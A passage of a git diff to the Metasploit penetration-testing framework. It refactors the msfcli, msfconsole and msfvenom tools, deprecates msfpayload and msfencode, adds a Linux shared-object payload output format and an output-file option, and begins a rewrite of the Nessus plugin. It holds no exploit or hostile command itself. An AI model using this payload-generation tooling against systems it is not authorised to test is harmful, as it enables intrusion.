requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/wlan/wlan_disconnect.rb b/modules/post/windows/wlan/wlan_disconnect.rb index 238cd54cb6..20ef90546a 100644 --- a/modules/post/windows/wlan/wlan_disconnect.rb +++ b/modules/post/windows/wlan/wlan_disconnect.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/modules/post/windows/wlan/wlan_profile.rb b/modules/post/windows/wlan/wlan_profile.rb index d53469961c..b16b0965e7 100644 --- a/modules/post/windows/wlan/wlan_profile.rb +++ b/modules/post/windows/wlan/wlan_profile.rb @@ -1,5 +1,5 @@ ## -# This module requires Metasploit: http//metasploit.com/download +# This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## diff --git a/msfbinscan b/msfbinscan index 72d403ad77..1913c36736 100755 --- a/msfbinscan +++ b/msfbinscan @@ -11,7 +11,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' @@ -221,7 +220,7 @@ files.each do |file| when "jump" worker = Rex::ElfScan::Scanner::JmpRegScanner when "pop" - worker = Rex::Elfscan::Scanner::PopPopRetScanner + worker = Rex::ElfScan::Scanner::PopPopRetScanner when "regex" worker = Rex::ElfScan::Scanner::RegexScanner when "analyze-address" diff --git a/msfcli b/msfcli index ee81c889bc..37c64f3c64 100755 --- a/msfcli +++ b/msfcli @@ -6,6 +6,13 @@ # or web-based interface. # +$stderr.puts "[!] ************************************************************************" +$stderr.puts "[!] * The utility msfcli is deprecated! *" +$stderr.puts "[!] * It will be removed on or about 2015-06-18 *" +$stderr.puts "[!] * Please use msfconsole -r or -x instead *" +$stderr.puts "[!] * Details: https://github.com/rapid7/metasploit-framework/pull/3802 *" +$stderr.puts "[!] ************************************************************************" + msfbase = __FILE__ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) @@ -16,10 +23,20 @@ require 'rex' class Msfcli + # + # Attributes + # + + # @attribute framework + # @return [Msf::Simple::Framework] + + # + # initialize + # + def initialize(args) @args = {} @indent = ' ' - @framework = nil @args[:module_name] = args.shift # First argument should be the module name @args[:mode] = args.pop || 'h' # Last argument should be the mode @@ -31,6 +48,28 @@ class Msfcli end end + # + # Instance Methods + # + + # The framework to create and list modules. + # + # @return [Msf::Simple::Framework] + def framework + @framework ||= Msf::Simple::Framework.create({'DeferModuleLoads'=>true}) + end + + # Sets {#framework}. + # + # @raise [ArgumentError] if {#framework} already set + def framework=(framework) + if instance_variable_defined? :@framework + fail ArgumentError.new("framework already set") + end + + @framework = framework + end + # # Returns a usage Rex table # @@ -44,11 +83,12 @@ class Msfcli tbl << ['(H)elp', "You're looking at it baby!"] tbl << ['(S)ummary', 'Show information about this module'] tbl << ['(O)ptions', 'Show available options for this module'] + tbl << ['(M)issing', 'Show empty required options for this module'] tbl << ['(A)dvanced', 'Show available advanced options for this module'] tbl << ['(I)DS Evasion', 'Show available ids evasion options for this module'] tbl << ['(P)ayloads', 'Show available payloads for this module'] tbl << ['(T)argets', 'Show available targets for this exploit module'] - tbl << ['(AC)tions', 'Show available actions for this auxiliary module'] + tbl << ['(AC)tions', 'Show available actions for this module'] tbl << ['(C)heck', 'Run the check routine of the selected module'] tbl << ['(E)xecute', 'Execute the selected module'] @@ -72,7 +112,7 @@ class Msfcli # msfcli will end up loading EVERYTHING to memory to show you a help # menu plus a list of modules available. Really expensive if you ask me. $stdout.puts "[*] Please wait while we load the module tree..." - framework = Msf::Simple::Framework.create + self.framework = Msf::Simple::Framework.create ext = '' tbl = Rex::Ui::Text::Table.new( @@ -282,7 +322,6 @@ class Msfcli # Initializes exploit/payload/encoder/nop modules. # def init_modules - @framework = Msf::Simple::Framework.create({'DeferModuleLoads'=>true}) $stdout.puts "[*] Initializing modules..." module_name = @args[:module_name] @@ -296,11 +335,11 @@ class Msfcli whitelist = generate_whitelist # Load up all the possible modules, this is where things get slow again - @framework.init_module_paths({:whitelist=>whitelist}) - if (@framework.modules.module_load_error_by_path.length > 0) + framework.init_module_paths({:whitelist=>whitelist}) + if (framework.modules.module_load_error_by_path.length > 0) print("Warning: The following modules could not be loaded!\n\n") - @framework.modules.module_load_error_by_path.each do |path, error| + framework.modules.module_load_error_by_path.each do |path, error| print("\t#{path}: #{error}\n\n") end @@ -309,16 +348,16 @@ class Msfcli # Determine what type of module it is if module_name =~ /exploit\/(.*)/ - modules[:module] = @framework.exploits.create($1) + modules[:module] = framework.exploits.create($1) elsif module_name =~ /auxiliary\/(.*)/ - modules[:module] = @framework.auxiliary.create($1) + modules[:module] = framework.auxiliary.create($1) elsif module_name =~ /post\/(.*)/ - modules[:module] = @framework.post.create($1) + modules[:module] = framework.post.create($1) else - modules[:module] = @framework.exploits.create(module_name) + modules[:module] = framework.exploits.create(module_name) if modules[:module].nil? # Try falling back on aux modules - modules[:module] = @framework.auxiliary.create(module_name) + modules[:module] = framework.auxiliary.create(module_name) end end @@ -341,7 +380,7 @@ class Msfcli # Create the payload to use if (modules[:module].datastore['PAYLOAD']) - modules[:payload] = @framework.payloads.create(modules[:module].datastore['PAYLOAD']) + modules[:payload] = framework.payloads.create(modules[:module].datastore['PAYLOAD']) if modules[:payload] modules[:payload].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') end @@ -349,7 +388,7 @@ class Msfcli # Create the encoder to use if modules[:module].datastore['ENCODER'] - modules[:encoder] = @framework.encoders.create(modules[:module].datastore['ENCODER']) + modules[:encoder] = framework.encoders.create(modules[:module].datastore['ENCODER']) if modules[:encoder] modules[:encoder].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') end @@ -357,7 +396,7 @@ class Msfcli # Create the NOP to use if modules[:module].datastore['NOP'] - modules[:nop] = @framework.nops.create(modules[:module].datastore['NOP']) + modules[:nop] = framework.nops.create(modules[:module].datastore['NOP']) if modules[:nop] modules[:nop].datastore.import_options_from_s(@args[:params].join('_|_'), '_|_') end @@ -385,6 +424,15 @@ class Msfcli end + def show_missing(m) + readable = Msf::Serializer::ReadableText + $stdout.puts("\n" + readable.dump_options(m[:module], @indent, true)) + $stdout.puts("\nPayload:\n\n" + readable.dump_options(m[:payload], @indent, true)) if m[:payload] + $stdout.puts("\nEncoder:\n\n" + readable.dump_options(m[:encoder], @indent, true)) if m[:encoder] + $stdout.puts("\nNOP\n\n" + readable.dump_options(m[:nop], @indent, true)) if m[:nop] + end + + def show_advanced(m) readable = Msf::Serializer::ReadableText $stdout.puts("\n" + readable.dump_advanced_options(m[:module], @indent)) @@ -418,7 +466,7 @@ class Msfcli def show_actions(m) readable = Msf::Serializer::ReadableText - $stdout.puts("\n" + readable.dump_auxiliary_actions(m[:module], @indent)) + $stdout.puts("\n" + readable.dump_module_actions(m[:module], @indent)) end @@ -444,7 +492,7 @@ class Msfcli Msf::Ui::Console::Driver::DefaultPrompt, Msf::Ui::Console::Driver::DefaultPromptChar, { - 'Framework' => @framework, + 'Framework' => framework, # When I use msfcli, chances are I want speed, so ASCII art fanciness # probably isn't much of a big deal for me. 'DisableBanner' => true @@ -464,7 +512,7 @@ class Msfcli con.run_single("exploit") # If we have sessions or jobs, keep running - if @framework.sessions.length > 0 or @framework.jobs.length > 0 + if framework.sessions.length > 0 or framework.jobs.length > 0 con.run else con.run_single("quit") @@ -483,6 +531,8 @@ class Msfcli show_summary(modules) when "o" show_options(modules) + when "m" + show_missing(modules) when "a" show_advanced(modules) when "i" @@ -501,7 +551,7 @@ class Msfcli show_targets(modules) end when "ac" - if modules[:module].file_path =~ /auxiliary\//i + if modules[:module].kind_of?(Msf::Module::HasActions) show_actions(modules) else $stdout.puts("\nError: This type of module does not support actions") @@ -523,7 +573,6 @@ class Msfcli end $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] - require 'fastlib' require 'msfenv' require 'msf/ui' require 'msf/base' @@ -547,7 +596,7 @@ class Msfcli end # Process special var/val pairs... - Msf::Ui::Common.process_cli_arguments(@framework, @args[:params]) + Msf::Ui::Common.process_cli_arguments(framework, @args[:params]) engage_mode(modules) $stdout.puts diff --git a/msfconsole b/msfconsole index 4934fd86e5..a96c91d768 100755 --- a/msfconsole +++ b/msfconsole @@ -1,154 +1,48 @@ #!/usr/bin/env ruby # -*- coding: binary -*- # -# $Id$ -# # This user interface provides users with a command console interface to the # framework. # -# $Revision$ + +# +# Standard Library # -msfbase = __FILE__ -while File.symlink?(msfbase) - msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) -end +require 'pathname' -@msfbase_dir = File.expand_path(File.dirname(msfbase)) +if ENV['METASPLOIT_FRAMEWORK_PROFILE'] == 'true' + gem 'perftools.rb' + require 'perftools' -$:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' -require 'msfenv' + formatted_time = Time.now.strftime('%Y%m%d%H%M%S') + root = Pathname.new(__FILE__).parent + profile_pathname = root.join('tmp', 'profiles', 'msfconsole', formatted_time) -$:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] + profile_pathname.parent.mkpath + PerfTools::CpuProfiler.start(profile_pathname.to_path) -require 'optparse' + at_exit { + PerfTools::CpuProfiler.stop -if(RUBY_PLATFORM =~ /mswin32/) - $stderr.puts "[*] The msfconsole interface is not supported on the native Windows Ruby\n" - $stderr.puts " interpreter. Things will break, exploits will fail, payloads will not\n" - $stderr.puts " be handled correctly. Please install Cygwin or use Linux in VMWare.\n\n" -end + puts "Generating pdf" -class OptsConsole - # - # Return a hash describing the options. - # - def self.parse(args) - options = { - 'DeferModuleLoads' => true - } + pdf_path = "#{profile_pathname}.pdf" - opts = OptionParser.new do |opts| - opts.banner = "Usage: msfconsole [options]" + if Bundler.clean_system("pprof.rb --pdf #{profile_pathname} > #{pdf_path}") + puts "PDF saved to #{pdf_path}" - opts.separator "" - opts.separator "Specific options:" - - opts.on("-d", "-d", "Execute the console as defanged") do - options['Defanged'] = true - end - - opts.on("-r", "-r ", "Execute the specified resource file") do |r| - options['Resource'] ||= [] - options['Resource'] << r - end - - opts.on("-o", "-o ", "Output to the specified file") do |o| - options['LocalOutput'] = o - end - - opts.on("-c", "-c ", "Load the specified configuration file") do |c| - options['Config'] = c - end - - opts.on("-m", "-m ", "Specifies an additional module search path") do |m| - options['ModulePath'] = m - end - - opts.on("-p", "-p ", "Load a plugin on startup") do |p| - options['Plugins'] ||= [] - options['Plugins'] << p - end - - opts.on("-y", "--yaml ", "Specify a YAML file containing database settings") do |m| - options['DatabaseYAML'] = m - end - - opts.on("-M", "--migration-path

    ", "Specify a directory containing additional DB migrations") do |m| - options['DatabaseMigrationPaths'] ||= [] - options['DatabaseMigrationPaths'] << m - end - - opts.on("-e", "--environment ", "Specify the database environment to load from the YAML") do |m| - options['DatabaseEnv'] = m - end - - # Boolean switches - opts.on("-v", "--version", "Show version") do |v| - options['Version'] = true - end - - opts.on("-L", "--real-readline", "Use the system Readline library instead of RbReadline") do |v| - options['RealReadline'] = true - end - - opts.on("-n", "--no-database", "Disable database support") do |v| - options['DisableDatabase'] = true - end - - opts.on("-q", "--quiet", "Do not print the banner on start up") do |v| - options['DisableBanner'] = true - end - - opts.on("-x", "-x ", "Execute the specified string as console commands (use ; for multiples)") do |s| - options['XCommands'] ||= [] - options['XCommands'] += s.split(/\s*;\s*/) - end - - opts.separator "" - opts.separator "Common options:" - - opts.on_tail("-h", "--help", "Show this message") do - puts opts - exit - end + Rex::Compat.open_file(pdf_path) end - - begin - opts.parse!(args) - rescue OptionParser::InvalidOption - puts "Invalid option, try -h for usage" - exit - end - - options - end + } end -options = OptsConsole.parse(ARGV) - # -# NOTE: we don't require this until down here since we may not need it -# when processing certain options (currently only -h) -# -require 'rex' -require 'msf/ui' - -# -# Everything below this line requires the framework. +# Project # -if (options['Version']) - $stderr.puts 'Framework Version: ' + Msf::Framework::Version - exit -end +# @see https://github.com/rails/rails/blob/v3.2.17/railties/lib/rails/generators/rails/app/templates/script/rails#L3-L5 +require Pathname.new(__FILE__).realpath.expand_path.parent.join('config', 'boot') +require 'metasploit/framework/command/console' -begin - Msf::Ui::Console::Driver.new( - Msf::Ui::Console::Driver::DefaultPrompt, - Msf::Ui::Console::Driver::DefaultPromptChar, - options - ).run -rescue Interrupt -end +Metasploit::Framework::Command::Console.start diff --git a/msfd b/msfd index 1852435cab..8afe16c852 100755 --- a/msfd +++ b/msfd @@ -17,7 +17,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfelfscan b/msfelfscan index 4651b2b6ae..1c91a24975 100755 --- a/msfelfscan +++ b/msfelfscan @@ -11,7 +11,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfencode b/msfencode index 8ecd6a3993..79fa985f2c 100755 --- a/msfencode +++ b/msfencode @@ -5,13 +5,19 @@ # $Revision$ # +$stderr.puts "[!] ************************************************************************" +$stderr.puts "[!] * The utility msfencode is deprecated! *" +$stderr.puts "[!] * It will be removed on or about 2015-06-08 *" +$stderr.puts "[!] * Please use msfvenom instead *" +$stderr.puts "[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *" +$stderr.puts "[!] ************************************************************************" + msfbase = __FILE__ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfmachscan b/msfmachscan index 9669982207..def3152388 100755 --- a/msfmachscan +++ b/msfmachscan @@ -11,7 +11,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfpayload b/msfpayload index 46e125b7a3..b180bac016 100755 --- a/msfpayload +++ b/msfpayload @@ -5,13 +5,19 @@ # $Revision$ # +$stderr.puts "[!] ************************************************************************" +$stderr.puts "[!] * The utility msfpayload is deprecated! *" +$stderr.puts "[!] * It will be removed on or about 2015-06-08 *" +$stderr.puts "[!] * Please use msfvenom instead *" +$stderr.puts "[!] * Details: https://github.com/rapid7/metasploit-framework/pull/4333 *" +$stderr.puts "[!] ************************************************************************" + msfbase = __FILE__ while File.symlink?(msfbase) msfbase = File.expand_path(File.readlink(msfbase), File.dirname(msfbase)) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' @@ -30,7 +36,8 @@ $args = Rex::Parser::Arguments.new( # def usage $stderr.puts("\n" + - " Usage: #{$0} [] [var=val] <[S]ummary|C|Cs[H]arp|[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]>\n" + + " Usage: #{$0} [] [var=val] <[S]ummary|C|Cs[H]arp|" + + "[P]erl|Rub[Y]|[R]aw|[J]s|e[X]e|[D]ll|[V]BA|[W]ar|Pytho[N]|s[O]>\n" + $args.usage) exit end @@ -54,9 +61,7 @@ $args.parse(ARGV) { |opt, idx, val| end } -if (cmd != "list" and rest.length < 2) - usage -end +usage if cmd != "list" && rest.length < 2 require 'msf/ui' require 'msf/base' @@ -125,25 +130,24 @@ end payload.datastore.merge! options -if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) - fmt = 'perl' if (cmd =~ /^p$/) - fmt = 'ruby' if (cmd =~ /^y$/) - fmt = 'raw' if (cmd =~ /^(r|x|d)$/) - fmt = 'raw' if (cmd =~ /^v$/) - fmt = 'c' if (cmd =~ /^c$/) - fmt = 'csharp' if (cmd =~ /^h$/) - fmt = 'js_be' if (cmd =~ /^j$/ and Rex::Arch.endian(payload.arch) == ENDIAN_BIG) - fmt = 'js_le' if (cmd =~ /^j$/ and ! fmt) - fmt = 'java' if (cmd =~ /^b$/) - fmt = 'raw' if (cmd =~ /^w$/) - fmt = 'python' if (cmd =~ /^n$/) +if cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n|o)$/ + fmt = 'perl' if cmd =~ /^p$/ + fmt = 'ruby' if cmd =~ /^y$/ + fmt = 'raw' if cmd =~ /^(r|x|d|o)$/ + fmt = 'raw' if cmd =~ /^v$/ + fmt = 'c' if cmd =~ /^c$/ + fmt = 'csharp' if cmd =~ /^h$/ + fmt = 'js_be' if cmd =~ /^j$/ && Rex::Arch.endian(payload.arch) == ENDIAN_BIG + fmt = 'js_le' if cmd =~ /^j$/ && !fmt + fmt = 'java' if cmd =~ /^b$/ + fmt = 'raw' if cmd =~ /^w$/ + fmt = 'python' if cmd =~ /^n$/ enc = options['ENCODER'] begin buf = payload.generate_simple( 'Format' => fmt, - 'Options' => options, - 'Encoder' => enc) + 'Options' => options) rescue $stderr.puts "Error generating payload: #{$!}" exit @@ -151,7 +155,7 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) $stdout.binmode - if (cmd =~ /^x$/) + if cmd =~ /^x$/ note = "Created by msfpayload (http://www.metasploit.com).\n" + "Payload: " + payload.refname + "\n" + @@ -163,11 +167,11 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) exe = Msf::Util::EXE.to_executable($framework, arch, plat, buf) - if(!exe and plat.index(Msf::Module::Platform::Java)) + if !exe && plat.index(Msf::Module::Platform::Java) exe = payload.generate_jar.pack end - if(exe) + if exe $stderr.puts(note) $stdout.write(exe) exit(0) @@ -177,7 +181,7 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) exit(-1) end - if(cmd =~ /^v$/) + if cmd =~ /^v$/ exe = Msf::Util::EXE.to_win32pe($framework, buf) note = "'Created by msfpayload (http://www.metasploit.com).\r\n" + @@ -190,7 +194,7 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) exit(0) end - if(cmd =~ /^d$/) + if cmd =~ /^d$/ dll = Msf::Util::EXE.to_win32pe_dll($framework, buf) note = "Created by msfpayload (http://www.metasploit.com).\r\n" + @@ -198,7 +202,7 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) " Length: " + buf.length.to_s + "\r\n" + "Options: " + options.inspect + "\r\n" - if(dll) + if dll $stderr.puts(note) $stdout.write(dll) exit(0) @@ -208,7 +212,25 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) exit(-1) end - if(cmd =~ /^w$/) + if cmd =~ /^o$/ + so = Msf::Util::EXE.to_linux_x64_elf_dll($framework, buf) + note = + "Created by msfpayload (http://www.metasploit.com).\r\n" + + "Payload: " + payload.refname + "\r\n" + + " Length: " + buf.length.to_s + "\r\n" + + "Options: " + options.inspect + "\r\n" + + if so + $stderr.puts(note) + $stdout.write(so) + exit(0) + end + + $stderr.puts "Failed to build dll" + exit(-1) + end + + if cmd =~ /^w$/ note = "Created by msfpayload (http://www.metasploit.com).\n" + "Payload: " + payload.refname + "\n" + @@ -225,8 +247,7 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) exe = Msf::Util::EXE.to_jsp_war(exe) end - - if(exe) + if exe $stderr.puts(note) $stdout.write(exe) exit(0) @@ -238,7 +259,7 @@ if (cmd =~ /^(p|y|r|d|c|h|j|x|b|v|w|n)$/) $stdout.write(buf) -elsif (cmd =~ /^(s|o)$/) +elsif cmd =~ /^(s|o)$/ payload.datastore.import_options_from_s(rest.join('_|_'), '_|_') puts Msf::Serializer::ReadableText.dump_module(payload) diff --git a/msfpescan b/msfpescan index 4c73c55e17..c674ea727f 100755 --- a/msfpescan +++ b/msfpescan @@ -11,7 +11,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfrop b/msfrop index 6aa9818306..1f0a80e552 100755 --- a/msfrop +++ b/msfrop @@ -14,7 +14,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfrpc b/msfrpc index 4a791dfc13..7753261230 100755 --- a/msfrpc +++ b/msfrpc @@ -15,7 +15,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' diff --git a/msfrpcd b/msfrpcd index 892dd61a63..858941771c 100755 --- a/msfrpcd +++ b/msfrpcd @@ -15,7 +15,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' @@ -105,8 +104,6 @@ end # Create an instance of the framework $framework = Msf::Simple::Framework.create(frameworkOpts) -$framework.db.sink.restart if RUBY_PLATFORM !~ /cygwin/ and not frameworkOpts['DisableDatabase'] - # Run the plugin instance in the foreground. begin $framework.plugins.load("#{rpctype.downcase}rpc", opts).run diff --git a/msfvenom b/msfvenom index e3a68530a8..a571276eb0 100755 --- a/msfvenom +++ b/msfvenom @@ -7,7 +7,6 @@ while File.symlink?(msfbase) end $:.unshift(File.expand_path(File.join(File.dirname(msfbase), 'lib'))) -require 'fastlib' require 'msfenv' $:.unshift(ENV['MSF_LOCAL_LIB']) if ENV['MSF_LOCAL_LIB'] @@ -99,7 +98,7 @@ require 'msf/core/payload_generator' end opt.on('-b', '--bad-chars ', String, 'The list of characters to avoid example: \'\x00\xff\'') do |b| - opts[:badchars] = b + opts[:badchars] = Rex::Text.hex_to_raw(b) end opt.on('-i', '--iterations ', Integer, 'The number of times to encode the payload') do |i| @@ -118,10 +117,18 @@ require 'msf/core/payload_generator' opts[:keep] = true end - opt.on('-o', '--options', "List the payload's standard options") do + opt.on('--payload-options', "List the payload's standard options") do opts[:list_options] = true end + opt.on('-o', '--out ', 'Save the payload') do |x| + opts[:out] = x + end + + opt.on('-v', '--var-name ', String, 'Specify a custom variable name to use for certain output formats') do |x| + opts[:var_name] = x + end + opt.on_tail('-h', '--help', 'Show this message') do raise UsageError, "#{opt}" end @@ -201,7 +208,7 @@ require 'msf/core/payload_generator' ]) framework.payloads.each_module { |name, mod| - tbl << [ name, mod.new.description ] + tbl << [ name, mod.new.description.split.join(' ') ] } "\n" + tbl.to_s + "\n" @@ -242,7 +249,7 @@ require 'msf/core/payload_generator' ]) framework.nops.each_module { |name, mod| - tbl << [ name, mod.new.description ] + tbl << [ name, mod.new.description.split.join(' ') ] } "\n" + tbl.to_s + "\n" @@ -263,18 +270,18 @@ if __FILE__ == $0 generator_opts[:list].each do |mod| case mod.downcase when "payloads" - $stderr.puts dump_payloads + $stdout.puts dump_payloads when "encoders" - $stderr.puts dump_encoders(opts[:arch]) + $stdout.puts dump_encoders(generator_opts[:arch]) when "nops" - $stderr.puts dump_nops + $stdout.puts dump_nops when "all" # Init here so #dump_payloads doesn't create a framework with # only payloads, etc. init_framework - $stderr.puts dump_payloads - $stderr.puts dump_encoders - $stderr.puts dump_nops + $stdout.puts dump_payloads + $stdout.puts dump_encoders + $stdout.puts dump_nops else $stderr.puts "Invalid module type" end @@ -284,7 +291,14 @@ if __FILE__ == $0 if generator_opts[:list_options] payload_mod = framework.payloads.create(generator_opts[:payload]) - $stderr.puts "Options for #{payload_mod.fullname}\n\n" + ::Msf::Serializer::ReadableText.dump_module(payload_mod,' ') + + if payload_mod.nil? + $stderr.puts "Invalid payload: #{generator_opts[:payload]}" + exit + end + + $stderr.puts "Options for #{payload_mod.fullname}\n\n" + $stdout.puts ::Msf::Serializer::ReadableText.dump_module(payload_mod,' ') exit(0) end @@ -295,11 +309,28 @@ if __FILE__ == $0 venom_generator = Msf::PayloadGenerator.new(generator_opts) payload = venom_generator.generate_payload rescue ::Exception => e + elog("#{e.class} : #{e.message}\n#{e.backtrace * "\n"}") $stderr.puts e.message end - output_stream = $stdout - output_stream.binmode - output_stream.write payload + # No payload generated, no point to go on + exit(-1) unless payload + + if generator_opts[:out] + begin + ::File.open(generator_opts[:out], 'wb') do |f| + f.write(payload) + end + $stderr.puts "Saved as: #{generator_opts[:out]}" + rescue ::Exception => e + # If I can't save it, then I can't save it. I don't think it matters what error. + elog("#{e.class} : #{e.message}\n#{e.backtrace * "\n"}") + $stderr.puts e.message + end + else + output_stream = $stdout + output_stream.binmode + output_stream.write payload + end end diff --git a/plugins/event_tester.rb b/plugins/event_tester.rb index 3b7d2afc33..2320a2c40f 100644 --- a/plugins/event_tester.rb +++ b/plugins/event_tester.rb @@ -21,17 +21,19 @@ class Plugin::EventTester < Msf::Plugin def initialize(framework, opts) super @subscriber = Subscriber.new - framework.events.add_exploit_subscriber(@subscriber) - framework.events.add_session_subscriber(@subscriber) - framework.events.add_general_subscriber(@subscriber) + framework.events.add_custom_subscriber(@subscriber) framework.events.add_db_subscriber(@subscriber) + framework.events.add_exploit_subscriber(@subscriber) + framework.events.add_general_subscriber(@subscriber) + framework.events.add_session_subscriber(@subscriber) framework.events.add_ui_subscriber(@subscriber) end def cleanup - framework.events.remove_exploit_subscriber(@subscriber) - framework.events.remove_session_subscriber(@subscriber) - framework.events.remove_general_subscriber(@subscriber) + framework.events.remove_custom_subscriber(@subscriber) framework.events.remove_db_subscriber(@subscriber) + framework.events.remove_exploit_subscriber(@subscriber) + framework.events.remove_general_subscriber(@subscriber) + framework.events.remove_session_subscriber(@subscriber) framework.events.remove_ui_subscriber(@subscriber) end end diff --git a/plugins/nessus.rb b/plugins/nessus.rb index fceab3f44f..19cabdee94 100644 --- a/plugins/nessus.rb +++ b/plugins/nessus.rb @@ -1,30 +1,190 @@ -# $Id$ -# $Revision$ - +# $Id$ $Revision$ require 'nessus/nessus-xmlrpc' require 'rex/parser/nessus_xml' module Msf + + PLUGIN_NAME = 'Nessus' + PLUGIN_DESCRIPTION = 'Nessus Bridge for Metasploit' + class Plugin::Nessus < Msf::Plugin - #creates the index of exploit details to make searching for exploits much faster. - def create_xindex - start = Time.now - print_status("Creating Exploit Search Index - (#{@xindex}) - this wont take long.") + def name + PLUGIN_NAME + end + + class ConsoleCommandDispatcher + include Msf::Ui::Console::CommandDispatcher + + def name + PLUGIN_NAME + end + + def xindex + "#{Msf::Config.get_config_root}/nessus_index" + end + + def nessus_yaml + "#{Msf::Config.get_config_root}/nessus.yaml" + end + + def msf_local + "#{Msf::Config.local_directory}" + end + + def cmd_nessus_index + nessus_index + end + + def commands + { + "nessus_connect" => "Connect to a nessus server: nconnect username:password@hostname:port ", + "nessus_admin" => "Checks if user is an admin", + "nessus_help" => "Get help on all commands", + "nessus_logout" => "Terminate the session", + "nessus_server_status" => "Check the status of your Nessus server", + "nessus_server_properties" => "Nessus server properties such as feed type, version, plugin set and server UUID", + "nessus_scanner_list" => "List all the scanners configured on the Nessus server", + "nessus_report_download" => "Download a report from the nessus server in either Nessus, HTML, PDF, CSV, or DB format", + "nessus_report_vulns" => "Get list of vulns from a report", + "nessus_report_hosts" => "Get list of hosts from a report", + "nessus_report_host_details" => "Get detailed information from a report item on a host", + "nessus_scan_list" => "List of currently running Nessus scans", + "nessus_scan_new" => "Create a new Nessus scan", + "nessus_scan_launch" => "Launch a previously added scan", + "nessus_scan_pause" => "Pause a running Nessus scan", + "nessus_scan_pause_all" => "Pause all running Nessus scans", + "nessus_scan_stop" => "Stop a running or paused Nessus scan", + "nessus_scan_stop_all" => "Stop all running or paused Nessus scans", + "nessus_scan_resume" => "Resume a paused Nessus scan", + "nessus_scan_resume_all" => "Resume all paused Nessus scans", + "nessus_scan_details" => "Return detailed information of a given scan", + "nessus_scan_export" => "Export a scan result in either Nessus, HTML, PDF, CSV, or DB format", + "nessus_scan_export_status" => "Check the status of scan export", + "nessus_user_list" => "List of Nessus users", + "nessus_user_add" => "Add a new Nessus user", + "nessus_user_del" => "Delete a Nessus user", + "nessus_user_passwd" => "Change Nessus Users Password", + "nessus_plugin_details" => "List details of a particular plugin", + "nessus_plugin_list" => "Display plugin details in a particular plugin family", + "nessus_policy_list" => "List all polciies", + "nessus_policy_del" => "Delete a policy", + "nessus_index" => "Manually generates a search index for exploits", + "nessus_template_list" => "List all the templates on the server", + "nessus_db_scan" => "Create a scan of all IP addresses in db_hosts", + "nessus_db_import" => "Import Nessus scan to the Metasploit connected database", + "nessus_save" => "Save credentials of the logged in user to nessus.yml", + "nessus_folder_list" => "List folders configured on the Nessus server", + "nessus_scanner_list" => "List the configured scanners on the Nessus server", + "nessus_family_list" => "List all the plugin families along with their corresponding family IDs and plugin count" + } + end + + def cmd_nessus_help(*args) + tbl = Rex::Ui::Text::Table.new( + 'Columns' => [ + "Command", + "Help Text" + ], + 'SortIndex' => -1 + ) + tbl << [ "Generic Commands", "" ] + tbl << [ "-----------------", "-----------------"] + tbl << [ "nessus_connect", "Connect to a Nessus server" ] + tbl << [ "nessus_logout", "Logout from the Nessus server" ] + tbl << [ "nessus_login", "Login into the connected Nesssus server with a different username and password"] + tbl << [ "nessus_save", "Save credentials of the logged in user to nessus.yml"] + tbl << [ "nessus_help", "Listing of available nessus commands" ] + tbl << [ "nessus_server_properties", "Nessus server properties such as feed type, version, plugin set and server UUID." ] + tbl << [ "nessus_server_status", "Check the status of your Nessus Server" ] + tbl << [ "nessus_admin", "Checks if user is an admin" ] + tbl << [ "nessus_template_list", "List scan or policy templates" ] + tbl << [ "nessus_folder_list", "List all configured folders on the Nessus server" ] + tbl << [ "nessus_scanner_list", "List all the scanners configured on the Nessus server" ] + tbl << [ "Nessus Database 